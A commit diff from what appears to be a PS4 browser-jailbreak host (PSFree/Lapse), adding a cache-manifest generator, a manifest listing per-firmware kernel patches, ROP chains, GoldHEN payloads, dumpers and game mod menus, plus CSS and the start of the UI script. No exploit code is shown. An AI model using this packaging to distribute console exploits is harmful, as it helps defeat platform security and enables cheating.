Rebased PSFree enhanced
Rebased PSFree Enhanced to make it easier to update the exploit
This commit is contained in:
45
CacheMaker.py
Normal file
45
CacheMaker.py
Normal file
@@ -0,0 +1,45 @@
|
||||
import os
|
||||
from datetime import datetime
|
||||
|
||||
# Configuration
|
||||
EXCLUDED_DIRS = {'.venv', '.git', 'noneed', '.github'}
|
||||
EXCLUDED_EXTENSIONS = {
|
||||
'.bat', '.txt', '.exe', '.mp4', '.py', '.bak', '.zip',
|
||||
'.mp3', '.sh', '.h', '.c', '.o', '.ld', '.md', '.d'
|
||||
}
|
||||
EXCLUDED_FILES = {'.gitignore', 'COPYING', 'LICENSE', 'MAKEFILE', 'dockerfile', '.gitinclude', '.prettierrc'}
|
||||
OUTPUT_FILE = 'PSFree.manifest'
|
||||
|
||||
def create_manifest():
|
||||
root_dir = os.path.dirname(os.path.abspath(__file__))
|
||||
manifest_path = os.path.join(root_dir, OUTPUT_FILE)
|
||||
with open(manifest_path, 'w', encoding='utf-8') as f:
|
||||
# Write header
|
||||
f.write("CACHE MANIFEST\n")
|
||||
f.write(f"# v1\n")
|
||||
f.write(f"# Generated on {datetime.now()}\n\n")
|
||||
f.write("CACHE:\n")
|
||||
# Walk through all files
|
||||
for dirpath, dirnames, filenames in os.walk(root_dir):
|
||||
# Remove excluded directories (modifies the dirnames list in-place)
|
||||
dirnames[:] = [d for d in dirnames if d not in EXCLUDED_DIRS]
|
||||
for filename in filenames:
|
||||
filepath = os.path.join(dirpath, filename)
|
||||
relpath = os.path.relpath(filepath, root_dir)
|
||||
# Skip excluded files, extensions and the manifest file itself
|
||||
ext = os.path.splitext(filename)[1].lower()
|
||||
if (ext in EXCLUDED_EXTENSIONS or
|
||||
filename in EXCLUDED_FILES or
|
||||
filename == OUTPUT_FILE):
|
||||
continue
|
||||
# Write relative path to manifest
|
||||
f.write(f"{relpath.replace(os.sep, '/')}\n")
|
||||
# Write network section
|
||||
f.write("\nNETWORK:\n")
|
||||
f.write("*\n")
|
||||
|
||||
print(f"Successfully created {OUTPUT_FILE}")
|
||||
print(f"Excluded folders: {', '.join(EXCLUDED_DIRS)}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
create_manifest()
|
||||
104
PSFree.manifest
Normal file
104
PSFree.manifest
Normal file
@@ -0,0 +1,104 @@
|
||||
CACHE MANIFEST
|
||||
# v1
|
||||
# Generated on 2025-08-09 14:12:52.081208
|
||||
|
||||
CACHE:
|
||||
index.html
|
||||
includes/index.css
|
||||
includes/js/index.js
|
||||
includes/js/languages.js
|
||||
includes/payloads/Jailbreak.js
|
||||
includes/payloads/payloads.js
|
||||
includes/payloads/Bins/Dumper/appdumper.bin
|
||||
includes/payloads/Bins/Dumper/kerneldumper.bin
|
||||
includes/payloads/Bins/Dumper/moduledumper.bin
|
||||
includes/payloads/Bins/Dumper/ps4-dumper-vtx-900.bin
|
||||
includes/payloads/Bins/GTA/ArabicGuy-1.0-1.27-rfoodxmodz.bin
|
||||
includes/payloads/Bins/GTA/ArabicGuy-1.0-1.32-rfoodxmodz.bin
|
||||
includes/payloads/Bins/GTA/ArabicGuy-1.0-1.33-rfoodxmodz.bin
|
||||
includes/payloads/Bins/GTA/BeefQueefMod-1.33.bin
|
||||
includes/payloads/Bins/GTA/BeefQueefMod-1.34.bin
|
||||
includes/payloads/Bins/GTA/BeefQueefMod-1.38.bin
|
||||
includes/payloads/Bins/GTA/WildeModz-1.32.bin
|
||||
includes/payloads/Bins/GTA/WildeModz-1.33.bin
|
||||
includes/payloads/Bins/GTA/WildeModz-1.38.bin
|
||||
includes/payloads/Bins/Linux/LinuxLoader-900-2gb.bin
|
||||
includes/payloads/Bins/Linux/LinuxLoader-900-3gb.bin
|
||||
includes/payloads/Bins/Linux/LinuxLoader-900-4gb.bin
|
||||
includes/payloads/Bins/Linux/LinuxLoader-900-5gb.bin
|
||||
includes/payloads/Bins/Linux/LinuxLoader-900.bin
|
||||
includes/payloads/Bins/RDR2/OystersMenu-1.00-FREE.bin
|
||||
includes/payloads/Bins/RDR2/OystersMenu-1.13-FREE.bin
|
||||
includes/payloads/Bins/RDR2/OystersMenu-1.19-FREE.bin
|
||||
includes/payloads/Bins/RDR2/OystersMenu-1.24-FREE.bin
|
||||
includes/payloads/Bins/RDR2/OystersMenu-1.29-FREE.bin
|
||||
includes/payloads/Bins/Tools/app2usb.bin
|
||||
includes/payloads/Bins/Tools/appcache-install.bin
|
||||
includes/payloads/Bins/Tools/backupdb.bin
|
||||
includes/payloads/Bins/Tools/disableaslr.bin
|
||||
includes/payloads/Bins/Tools/disableupdates.bin
|
||||
includes/payloads/Bins/Tools/enable-browser.bin
|
||||
includes/payloads/Bins/Tools/enableupdates.bin
|
||||
includes/payloads/Bins/Tools/exitidu.bin
|
||||
includes/payloads/Bins/Tools/ftp.bin
|
||||
includes/payloads/Bins/Tools/historyblocker.bin
|
||||
includes/payloads/Bins/Tools/Orbis-Toolbox-900.bin
|
||||
includes/payloads/Bins/Tools/permanent-uart.bin
|
||||
includes/payloads/Bins/Tools/ps4debug.bin
|
||||
includes/payloads/Bins/Tools/pup-decrypt.bin
|
||||
includes/payloads/Bins/Tools/restoredb.bin
|
||||
includes/payloads/Bins/Tools/rif-renamer.bin
|
||||
includes/payloads/Bins/Tools/rifrenamer.bin
|
||||
includes/payloads/Bins/Tools/ToCex.bin
|
||||
includes/payloads/Bins/Tools/ToDev.bin
|
||||
includes/payloads/Bins/Tools/ToDex.bin
|
||||
includes/payloads/Bins/Tools/ToKratos.bin
|
||||
includes/payloads/Bins/Tools/WebRTE_900.bin
|
||||
includes/payloads/GoldHEN/goldhen_2.3_702L.bin
|
||||
includes/payloads/GoldHEN/goldhen_2.3_755L.bin
|
||||
includes/payloads/GoldHEN/goldhen_2.4b18.3.bin
|
||||
includes/payloads/GoldHEN/goldhen_v2.4b18.5.bin
|
||||
includes/payloads/HEN/HEN.bin
|
||||
includes/payloads/testing/goldhen_2.4b18.5_allfw_test.bin
|
||||
includes/payloads/testing/ps4debug_v1.1.19.bin
|
||||
src/alert.mjs
|
||||
src/config.mjs
|
||||
src/lapse.mjs
|
||||
src/psfree.mjs
|
||||
src/send.mjs
|
||||
src/fonts/FONTS.LICENSE
|
||||
src/fonts/LiberationMono-Regular.ttf
|
||||
src/kpatch/700.bin
|
||||
src/kpatch/750.bin
|
||||
src/kpatch/800.bin
|
||||
src/kpatch/850.bin
|
||||
src/kpatch/900.bin
|
||||
src/kpatch/903.bin
|
||||
src/kpatch/950.bin
|
||||
src/kpatch/Makefile
|
||||
src/lapse/ps4/700.mjs
|
||||
src/lapse/ps4/750.mjs
|
||||
src/lapse/ps4/751.mjs
|
||||
src/lapse/ps4/800.mjs
|
||||
src/lapse/ps4/850.mjs
|
||||
src/lapse/ps4/852.mjs
|
||||
src/lapse/ps4/900.mjs
|
||||
src/lapse/ps4/903.mjs
|
||||
src/lapse/ps4/950.mjs
|
||||
src/module/chain.mjs
|
||||
src/module/int64.mjs
|
||||
src/module/mem.mjs
|
||||
src/module/memtools.mjs
|
||||
src/module/offset.mjs
|
||||
src/module/rw.mjs
|
||||
src/module/utils.mjs
|
||||
src/module/view.mjs
|
||||
src/rop/ps4/700.mjs
|
||||
src/rop/ps4/750.mjs
|
||||
src/rop/ps4/800.mjs
|
||||
src/rop/ps4/850.mjs
|
||||
src/rop/ps4/900.mjs
|
||||
src/rop/ps4/950.mjs
|
||||
|
||||
NETWORK:
|
||||
*
|
||||
502
includes/index.css
Normal file
502
includes/index.css
Normal file
@@ -0,0 +1,502 @@
|
||||
/* replace rgb colors with hex value for better compatibility */
|
||||
|
||||
body {
|
||||
font-family: system-ui, -apple-system, sans-serif, "Inter", sans-serif;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.mainContainer{
|
||||
overflow-y: scroll;
|
||||
}
|
||||
|
||||
#initial-screen,
|
||||
#exploit-main-screen {
|
||||
height: 100vh;
|
||||
}
|
||||
|
||||
|
||||
input,
|
||||
svg,
|
||||
label {
|
||||
margin: 0 7px !important;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.grid{
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
/* Custom radio button styling for better compatibility */
|
||||
input[type="radio"] {
|
||||
appearance: none;
|
||||
-webkit-appearance: none;
|
||||
width: 18px;
|
||||
height: 18px;
|
||||
border: 2px solid #888;
|
||||
border-radius: 50%;
|
||||
background: #fff;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
input[type="radio"]:checked {
|
||||
border: none;
|
||||
background: #3B82F6;
|
||||
}
|
||||
|
||||
/* For PS4 (because its old browser) */
|
||||
.inset-0 {
|
||||
top: 0;
|
||||
right: 0;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
}
|
||||
|
||||
.payload {
|
||||
margin-bottom: 16px;
|
||||
}
|
||||
|
||||
.henSelection {
|
||||
padding: 12px 0;
|
||||
margin: 12px;
|
||||
-webkit-box-shadow: 0px -25px 8px -20px rgba(0, 0, 0, 0.2);
|
||||
box-shadow: 0px -25px 8px -20px rgba(0, 0, 0, 0.2);
|
||||
}
|
||||
|
||||
.fwSelected{
|
||||
border-radius: 5px;
|
||||
/* border-bottom: 2px solid #2563eb; */
|
||||
background-color: #2563eb;
|
||||
color: white;
|
||||
}
|
||||
|
||||
.h-full {
|
||||
height: 97% !important;
|
||||
max-height: 100vh !important;
|
||||
}
|
||||
|
||||
.tabs {
|
||||
-webkit-box-shadow: 0px 17px 8px -11px rgba(0, 0, 0, 0.2);
|
||||
box-shadow: 0px 17px 8px -11px rgba(0, 0, 0, 0.2);
|
||||
padding: 12px 0;
|
||||
}
|
||||
|
||||
/* Scrollbar design */
|
||||
::-webkit-scrollbar {
|
||||
width: 10px;
|
||||
}
|
||||
|
||||
::-webkit-scrollbar-track {
|
||||
background-color: transparent;
|
||||
}
|
||||
|
||||
/* Thumb of the scrollbar */
|
||||
::-webkit-scrollbar-thumb {
|
||||
background: #2563eb;
|
||||
border-radius: 10px;
|
||||
}
|
||||
|
||||
/* Payloads categories colors */
|
||||
|
||||
.category-tools {
|
||||
background-color: rgba(34, 197, 94, 0.2);
|
||||
color: #4ade80;
|
||||
}
|
||||
|
||||
.category-games {
|
||||
background-color: rgba(234, 179, 8, 0.2);
|
||||
color: #facc15;
|
||||
}
|
||||
|
||||
.category-linux {
|
||||
background-color: rgba(139, 92, 246, 0.2);
|
||||
color: #a78bfa;
|
||||
}
|
||||
.category-games, .category-tools, .category-linux{
|
||||
border: none !important;
|
||||
}
|
||||
|
||||
/* AI CSS to replace tailwindcss (been lazy and I don't want to write everything from scratch)*/
|
||||
*, *::before, *::after {
|
||||
box-sizing: border-box;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
html {
|
||||
line-height: 1.5;
|
||||
-webkit-text-size-adjust: 100%;
|
||||
tab-size: 4;
|
||||
font-family: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
|
||||
}
|
||||
|
||||
body {
|
||||
-webkit-font-smoothing: antialiased;
|
||||
}
|
||||
|
||||
/* --- Tailwind Color Palette (Approximations based on common values) --- */
|
||||
/* These are approximations. For exact matches, refer to Tailwind's default config. */
|
||||
:root {
|
||||
--color-gray-900: #111827;
|
||||
--color-gray-800: #1f2937;
|
||||
--color-gray-700: #374151;
|
||||
--color-gray-600: #4b5563;
|
||||
--color-gray-50: #f9fafb;
|
||||
--color-blue-600: #2563eb;
|
||||
--color-blue-700: #1d4ed8;
|
||||
--color-blue-500: #3b82f6;
|
||||
--color-blue-400: #60a5fa;
|
||||
--color-yellow-600: #ca8a04;
|
||||
--color-yellow-500: #eab308;
|
||||
--color-yellow-400: #facc15;
|
||||
--color-yellow-200: #fde68a;
|
||||
--color-cyan-300: #67e8f9;
|
||||
--color-white: #ffffff;
|
||||
}
|
||||
|
||||
/* --- Utility Classes Replication --- */
|
||||
|
||||
/* Background Colors */
|
||||
.bg-gray-900 { background-color: var(--color-gray-900); }
|
||||
.bg-gray-800 { background-color: var(--color-gray-800); }
|
||||
.bg-gray-700 { background-color: var(--color-gray-700); }
|
||||
.bg-gray-700\/60 { background-color: rgba(55, 65, 81, 0.6); } /* 60% opacity */
|
||||
.bg-black\/50 { background-color: rgba(0, 0, 0, 0.5); } /* 50% opacity */
|
||||
.bg-white\/5 { background-color: rgba(255, 255, 255, 0.05); } /* 5% opacity */
|
||||
.bg-white\/10 { background-color: rgba(255, 255, 255, 0.1); } /* 10% opacity */
|
||||
.bg-yellow-600\/20 { background-color: rgba(202, 138, 4, 0.2); } /* 20% opacity */
|
||||
.bg-blue-600 { background-color: var(--color-blue-600); }
|
||||
.bg-gray-50 { background-color: var(--color-gray-50); } /* Used in tabs, though often overridden */
|
||||
|
||||
|
||||
/* Text Colors */
|
||||
.text-white { color: var(--color-white); }
|
||||
.text-white\/70 { color: rgba(255, 255, 255, 0.7); } /* 70% opacity */
|
||||
.text-white\/80 { color: rgba(255, 255, 255, 0.8); } /* 80% opacity */
|
||||
.text-white\/90 { color: rgba(255, 255, 255, 0.9); } /* 90% opacity */
|
||||
.text-cyan-300 { color: var(--color-cyan-300); }
|
||||
.text-yellow-400 { color: var(--color-yellow-400); }
|
||||
.text-yellow-200 { color: var(--color-yellow-200); }
|
||||
.text-yellow-200\/80 { color: rgba(253, 230, 138, 0.8); } /* 80% opacity */
|
||||
.text-gray-600 { color: var(--color-gray-600); } /* For hover states */
|
||||
.text-blue-500 { color: var(--color-blue-500); } /* For active tabs/focus */
|
||||
|
||||
|
||||
/* Font Sizes */
|
||||
.text-xs { font-size: 0.75rem; /* 12px */ }
|
||||
.text-sm { font-size: 0.875rem; /* 14px */ }
|
||||
.text-base { font-size: 1rem; /* 16px */ }
|
||||
.text-lg { font-size: 1.125rem; /* 18px */ }
|
||||
.text-xl { font-size: 1.25rem; /* 20px */ }
|
||||
.text-2xl { font-size: 1.5rem; /* 24px */ }
|
||||
|
||||
/* Font Weights */
|
||||
.font-medium { font-weight: 500; }
|
||||
.font-semibold { font-weight: 600; }
|
||||
.font-bold { font-weight: 700; }
|
||||
.font-mono { font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; }
|
||||
|
||||
/* Text Alignment */
|
||||
.text-center { text-align: center; }
|
||||
.text-start { text-align: start; }
|
||||
|
||||
/* Line Height */
|
||||
.leading-relaxed { line-height: 1.625; } /* 26px for 16px base */
|
||||
|
||||
/* User Select */
|
||||
.select-none {
|
||||
-webkit-user-select: none;
|
||||
-moz-user-select: none;
|
||||
user-select: none;
|
||||
}
|
||||
|
||||
/* Display */
|
||||
.flex { display: flex; }
|
||||
.inline-block { display: inline-block; }
|
||||
.hidden { display: none; }
|
||||
.grid { display: grid; }
|
||||
|
||||
/* Flex Direction */
|
||||
.flex-col { flex-direction: column; }
|
||||
.flex-wrap { flex-wrap: wrap; }
|
||||
.flex-grow { flex-grow: 1; }
|
||||
|
||||
/* Alignment */
|
||||
.items-center { align-items: center; }
|
||||
.items-start { align-items: flex-start; }
|
||||
.justify-center { justify-content: center; }
|
||||
.justify-between { justify-content: space-between; }
|
||||
|
||||
/* Spacing (Padding & Margin) */
|
||||
.p-2 { padding: 0.5rem; /* 8px */ }
|
||||
.p-3 { padding: 0.75rem; /* 12px */ }
|
||||
.p-4 { padding: 1rem; /* 16px */ }
|
||||
.p-6 { padding: 1.5rem; /* 24px */ }
|
||||
.p-8 { padding: 2rem; /* 32px */ }
|
||||
.px-2 { padding-left: 0.5rem; padding-right: 0.5rem; }
|
||||
.px-4 { padding-left: 1rem; padding-right: 1rem; }
|
||||
.py-1 { padding-top: 0.25rem; padding-bottom: 0.25rem; }
|
||||
.py-2 { padding-top: 0.5rem; padding-bottom: 0.5rem; }
|
||||
|
||||
.mt-0\.5 { margin-top: 0.125rem; /* 2px */ }
|
||||
.mt-4 { margin-top: 1rem; /* 16px */ }
|
||||
.mt-6 { margin-top: 1.5rem; /* 24px */ }
|
||||
.mt-12 { margin-top: 3rem; /* 48px */ }
|
||||
.mb-1 { margin-bottom: 0.25rem; /* 4px */ }
|
||||
.mb-2 { margin-bottom: 0.5rem; /* 8px */ }
|
||||
.mb-4 { margin-bottom: 1rem; /* 16px */ }
|
||||
.mb-6 { margin-bottom: 1.5rem; /* 24px */ }
|
||||
.-mb-px { margin-bottom: -1px; } /* For tabs border */
|
||||
|
||||
.ml-2 { margin-left: 0.5rem; /* 8px */ }
|
||||
.ml-3 { margin-left: 0.75rem; /* 12px */ }
|
||||
/* Flowbite uses me-2 for margin-inline-end, but it's not present in your HTML classes */
|
||||
|
||||
/* Space between children */
|
||||
.space-x-1 > :not([hidden]) ~ :not([hidden]) { margin-right: calc(0.25rem * var(--tw-space-x-reverse)); margin-left: calc(0.25rem * (1 - var(--tw-space-x-reverse))); }
|
||||
.space-x-3 > :not([hidden]) ~ :not([hidden]) { margin-right: calc(0.75rem * var(--tw-space-x-reverse)); margin-left: calc(0.75rem * (1 - var(--tw-space-x-reverse))); }
|
||||
.space-x-4 > :not([hidden]) ~ :not([hidden]) { margin-right: calc(1rem * var(--tw-space-x-reverse)); margin-left: calc(1rem * (1 - var(--tw-space-x-reverse))); }
|
||||
.space-y-1 > :not([hidden]) ~ :not([hidden]) { margin-top: calc(0.25rem * (1 - var(--tw-space-y-reverse))); margin-bottom: calc(0.25rem * var(--tw-space-y-reverse)); }
|
||||
.space-y-2 > :not([hidden]) ~ :not([hidden]) { margin-top: calc(0.5rem * (1 - var(--tw-space-y-reverse))); margin-bottom: calc(0.5rem * var(--tw-space-y-reverse)); }
|
||||
.space-y-3 > :not([hidden]) ~ :not([hidden]) { margin-top: calc(0.75rem * (1 - var(--tw-space-y-reverse))); margin-bottom: calc(0.75rem * var(--tw-space-y-reverse)); }
|
||||
|
||||
/* Gap for flex/grid */
|
||||
.gap-2 { gap: 0.5rem; /* 8px */ }
|
||||
.gap-4 { gap: 1rem; /* 16px */ }
|
||||
.gap-8 { gap: 2rem; /* 32px */ }
|
||||
|
||||
/* Sizing */
|
||||
.w-full { width: 100%; }
|
||||
.h-full { height: 100%; }
|
||||
.h-5 { height: 1.25rem; /* 20px */ }
|
||||
.h-6 { height: 1.5rem; /* 24px */ }
|
||||
.h-10 { height: 2.5rem; /* 40px */ }
|
||||
.h-32 { height: 8rem; /* 128px */ }
|
||||
.w-4 { width: 1rem; /* 16px */ }
|
||||
.w-5 { width: 1.25rem; /* 20px */ }
|
||||
.w-6 { width: 1.5rem; /* 24px */ }
|
||||
.w-10 { width: 2.5rem; /* 40px */ }
|
||||
.w-32 { width: 8rem; /* 128px */ }
|
||||
.max-w-sm { max-width: 24rem; /* 384px */ }
|
||||
.max-w-md { max-width: 28rem; /* 448px */ }
|
||||
.max-w-lg { max-width: 32rem; /* 512px */ }
|
||||
.min-h-screen { min-height: 100vh; }
|
||||
.min-h-\[150px\] { min-height: 150px; } /* Custom value */
|
||||
.max-h-\[calc\(100vh-250px\)\] { max-height: calc(100vh - 250px); } /* Custom value */
|
||||
.h-screen { height: 100vh; }
|
||||
|
||||
|
||||
/* Positioning */
|
||||
.relative { position: relative; }
|
||||
.absolute { position: absolute; }
|
||||
.fixed { position: fixed; }
|
||||
.top-6 { top: 1.5rem; /* 24px */ }
|
||||
.left-6 { left: 1.5rem; /* 24px */ }
|
||||
.bottom-10 { bottom: 2.5rem; /* 40px */ }
|
||||
.inset-0 { top: 0; right: 0; bottom: 0; left: 0; }
|
||||
.z-10 { z-index: 10; }
|
||||
.z-50 { z-index: 50; }
|
||||
.z-\[9999\] { z-index: 9999; } /* Custom z-index for modals */
|
||||
.sticky { position: sticky; }
|
||||
.top-0 { top: 0; }
|
||||
|
||||
/* Borders */
|
||||
.border { border-width: 1px; border-style: solid; border-color: currentColor; }
|
||||
.border-2 { border-width: 2px; border-style: solid; border-color: currentColor; }
|
||||
/* .border-4 is not used in your HTML */
|
||||
.border-b { border-bottom-width: 1px; border-bottom-style: solid; }
|
||||
.border-white\/20 { border-color: rgba(255, 255, 255, 0.2); } /* 20% opacity */
|
||||
.border-blue-500 { border-color: var(--color-blue-500); }
|
||||
.border-yellow-500\/50 { border-color: rgba(234, 179, 8, 0.5); } /* 50% opacity */
|
||||
.border-transparent { border-color: transparent; }
|
||||
.border-gray-200 { border-color: #e5e7eb; } /* Flowbite default */
|
||||
.border-gray-700 { border-color: var(--color-gray-700); } /* Flowbite default */
|
||||
|
||||
|
||||
/* Rounded Corners */
|
||||
.rounded { border-radius: 0.25rem; /* 4px */ }
|
||||
.rounded-lg { border-radius: 0.5rem; /* 8px */ }
|
||||
.rounded-xl { border-radius: 0.75rem; /* 12px */ }
|
||||
.rounded-full { border-radius: 9999px; }
|
||||
.rounded-t-lg { border-top-left-radius: 0.5rem; border-top-right-radius: 0.5rem; }
|
||||
|
||||
/* Shadow */
|
||||
.shadow { box-shadow: 0 1px 3px 0 rgba(0, 0, 0, 0.1), 0 1px 2px 0 rgba(0, 0, 0, 0.06); }
|
||||
.shadow-xl { box-shadow: 0 20px 25px -5px rgba(0, 0, 0, 0.1), 0 10px 10px -5px rgba(0, 0, 0, 0.04); }
|
||||
|
||||
/* Transitions */
|
||||
.transition-opacity { transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 150ms; }
|
||||
.transition-colors { transition-property: background-color, border-color, color, fill, stroke; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 150ms; }
|
||||
.transition-all { transition-property: all; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 150ms; }
|
||||
.duration-300 { transition-duration: 300ms; }
|
||||
.duration-500 { transition-duration: 500ms; }
|
||||
.duration-700 { transition-duration: 700ms; }
|
||||
.ease-in-out { transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); }
|
||||
|
||||
/* Transforms */
|
||||
.transform { transform: translate(var(--tw-translate-x, 0), var(--tw-translate-y, 0)) rotate(var(--tw-rotate, 0)) skewX(var(--tw-skew-x, 0)) skewY(var(--tw-skew-y, 0)) scaleX(var(--tw-scale-x, 1)) scaleY(var(--tw-scale-y, 1)); }
|
||||
.scale-105 { --tw-scale-x: 1.05; --tw-scale-y: 1.05; transform: scale(var(--tw-scale-x), var(--tw-scale-y)); }
|
||||
|
||||
|
||||
/* Animation */
|
||||
.animate-bounce {
|
||||
animation: bounce 1s infinite;
|
||||
}
|
||||
@keyframes bounce {
|
||||
0%, 100% { transform: translateY(-25%); animation-timing-function: cubic-bezier(0.8, 0, 1, 1); }
|
||||
50% { transform: translateY(0); animation-timing-function: cubic-bezier(0, 0, 0.2, 1); }
|
||||
}
|
||||
|
||||
/* Cursor */
|
||||
.cursor-pointer { cursor: pointer; }
|
||||
|
||||
/* Overflow */
|
||||
.overflow-y-auto { overflow-y: auto; }
|
||||
.overflow-x-hidden { overflow-x: hidden; }
|
||||
|
||||
/* Opacity */
|
||||
.opacity-100 { opacity: 1; }
|
||||
.disabled\:opacity-50:disabled { opacity: 0.5; } /* For disabled buttons */
|
||||
|
||||
/* Backdrop Filter */
|
||||
.backdrop-blur-sm {
|
||||
backdrop-filter: blur(4px);
|
||||
-webkit-backdrop-filter: blur(4px); /* For Safari/iOS */
|
||||
}
|
||||
|
||||
/* Specific Styles for Main Container and Sections */
|
||||
.mainContainer {
|
||||
height: 100vh; /* Ensure main container takes full viewport height */
|
||||
overflow-y: scroll;
|
||||
-webkit-overflow-scrolling: touch; /* For smoother scrolling on touch devices */
|
||||
}
|
||||
|
||||
section { /* Apply to initial-screen and exploit-main-screen */
|
||||
min-height: 100vh;
|
||||
/* Ensure sections fill the viewport height to enable snapping */
|
||||
}
|
||||
|
||||
/* --- Pseudo-class Variants --- */
|
||||
|
||||
/* Hover States */
|
||||
.hover\:bg-gray-700:hover { background-color: var(--color-gray-700); }
|
||||
.hover\:text-white:hover { color: var(--color-white); }
|
||||
.hover\:bg-white\/10:hover { background-color: rgba(255, 255, 255, 0.1); }
|
||||
.hover\:scale-105:hover { transform: scale(1.05); }
|
||||
.hover\:bg-blue-700:hover { background-color: var(--color-blue-700); }
|
||||
.hover\:text-gray-600:hover { color: var(--color-gray-600); }
|
||||
.hover\:border-gray-300:hover { border-color: #d1d5db; } /* Approximation for gray-300 */
|
||||
.hover\:bg-blue-500\/40:hover { background-color: rgba(59, 130, 246, 0.4); } /* 40% opacity */
|
||||
|
||||
|
||||
/* Focus States */
|
||||
.focus-within\:border-blue-500:focus-within { border-color: var(--color-blue-500); }
|
||||
.focus\:ring-2:focus { box-shadow: 0 0 0 2px var(--color-blue-400); } /* Ring effect */
|
||||
.focus\:ring-blue-400:focus { --tw-ring-color: var(--color-blue-400); } /* Ring color */
|
||||
|
||||
/* Accent Color for Radio/Checkbox */
|
||||
.accent-blue-500 { accent-color: var(--color-blue-500); }
|
||||
|
||||
/* RTL Adjustments */
|
||||
[dir="rtl"] .rtl\:space-x-reverse > :not([hidden]) ~ :not([hidden]) {
|
||||
/* For space-x-reverse, Tailwind sets --tw-space-x-reverse: 1 */
|
||||
/* So, original margin-left becomes margin-right and vice-versa */
|
||||
margin-right: calc(0.75rem * (1 - var(--tw-space-x-reverse, 0))); /* Original margin-left 0.75rem */
|
||||
margin-left: calc(0.75rem * var(--tw-space-x-reverse, 0)); /* Original margin-right 0.75rem */
|
||||
}
|
||||
|
||||
/* --- Media Queries for Responsive Classes --- */
|
||||
|
||||
/* Small devices (sm) */
|
||||
@media (min-width: 640px) {
|
||||
.sm\:flex-row { flex-direction: row; }
|
||||
.sm\:gap-8 { gap: 2rem; }
|
||||
.sm\:w-auto { width: auto; }
|
||||
.sm\:mb-0 { margin-bottom: 0; }
|
||||
/* If you had sm:rtl:gap-8, you'd define it here too */
|
||||
/* [dir="rtl"] .sm\:rtl\:gap-8 { ... } */
|
||||
}
|
||||
|
||||
/* Medium devices (md) */
|
||||
@media (min-width: 768px) {
|
||||
.md\:grid-cols-2 { grid-template-columns: repeat(2, minmax(0, 1fr)); }
|
||||
}
|
||||
|
||||
/* --- Custom classes for payload categories (from your JS) --- */
|
||||
.category-tools { border-color: #a78bfa; /* Example purple */ }
|
||||
.category-games { border-color: #f87171; /* Example red */ }
|
||||
.category-linux { border-color: #34d399; /* Example green */ }
|
||||
.category-testing { border-color: red; /* Example red */ }
|
||||
|
||||
/* --- Tab specific styling (from your HTML and Flowbite's typical behavior) --- */
|
||||
.tabs ul {
|
||||
border-color: var(--color-gray-700); /* Default border for the tab list */
|
||||
list-style: none;
|
||||
}
|
||||
.tabs button {
|
||||
border-color: transparent; /* Default for inactive tabs */
|
||||
color: rgba(255, 255, 255, 0.8); /* Default text color for inactive tabs */
|
||||
}
|
||||
.tabs button[aria-selected="true"] {
|
||||
border-color: var(--color-blue-500);
|
||||
color: var(--color-blue-500);
|
||||
}
|
||||
.tabs button:not([aria-selected="true"]):hover {
|
||||
color: var(--color-gray-600);
|
||||
border-color: #d1d5db; /* Approximation for gray-300 */
|
||||
}
|
||||
/* Manual css */
|
||||
button{
|
||||
background-color: transparent;
|
||||
border: none;
|
||||
}
|
||||
|
||||
#tools,
|
||||
#games,
|
||||
#linux,
|
||||
#testing {
|
||||
background-color: transparent;
|
||||
}
|
||||
|
||||
#tools-tab,
|
||||
#games-tab,
|
||||
#linux-tab,
|
||||
#testing-tab {
|
||||
background-color: transparent;
|
||||
}
|
||||
|
||||
#default-tab-content div div{
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
#console center{
|
||||
font-size: 12px !important;
|
||||
}
|
||||
|
||||
svg,
|
||||
button{
|
||||
color: white;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
#listfw{
|
||||
display: grid;
|
||||
grid-template-columns: auto auto auto auto;
|
||||
justify-content: space-around;
|
||||
}
|
||||
|
||||
#listfw p{
|
||||
padding: 1px 5px;
|
||||
}
|
||||
|
||||
#default-tab{
|
||||
display: flex;
|
||||
justify-content: space-around;
|
||||
}
|
||||
|
||||
#default-tabs li{
|
||||
width: 33%;
|
||||
}
|
||||
|
||||
#initial-screen header{
|
||||
gap: 5px;
|
||||
}
|
||||
882
includes/js/index.js
Normal file
882
includes/js/index.js
Normal file
@@ -0,0 +1,882 @@
|
||||
// @ts-nocheck
|
||||
let currentLanguage = localStorage.getItem('language') || 'en';
|
||||
let currentJbFlavor = localStorage.getItem('jailbreakFlavor') || 'GoldHEN';
|
||||
let isAutoJailbreakEnabled = localStorage.getItem('autoJailbreak');
|
||||
let selectedSecondaryPayload;
|
||||
let ps4fw = null;
|
||||
let platform = "Unknown";
|
||||
let lastScrollY = 0;
|
||||
let lastSection = localStorage.getItem('lastSection') || "initial";
|
||||
const ui = {
|
||||
mainContainer: document.querySelector('.mainContainer'),
|
||||
|
||||
// Sections
|
||||
initialScreen: document.getElementById('initial-screen'),
|
||||
exploitScreen: document.getElementById('exploit-main-screen'),
|
||||
|
||||
// Initial screen elements
|
||||
settingsBtn: document.getElementById("settings-btn"),
|
||||
aboutBtn: document.getElementById("about-btn"),
|
||||
psLogoContainer: document.getElementById('ps-logo-container'),
|
||||
clickToStartText: document.getElementById('click-to-start-text'),
|
||||
ps4FwStatus: document.getElementById('PS4FW'),
|
||||
|
||||
// Exploit screen elements
|
||||
statusMessage: document.getElementById('statusMessage'),
|
||||
consoleElement: document.getElementById('console'),
|
||||
toolsSection: document.getElementById('tools'),
|
||||
toolsTab: document.getElementById('tools-tab'),
|
||||
gamesSection: document.getElementById('games'),
|
||||
gamesTab: document.getElementById('games-tab'),
|
||||
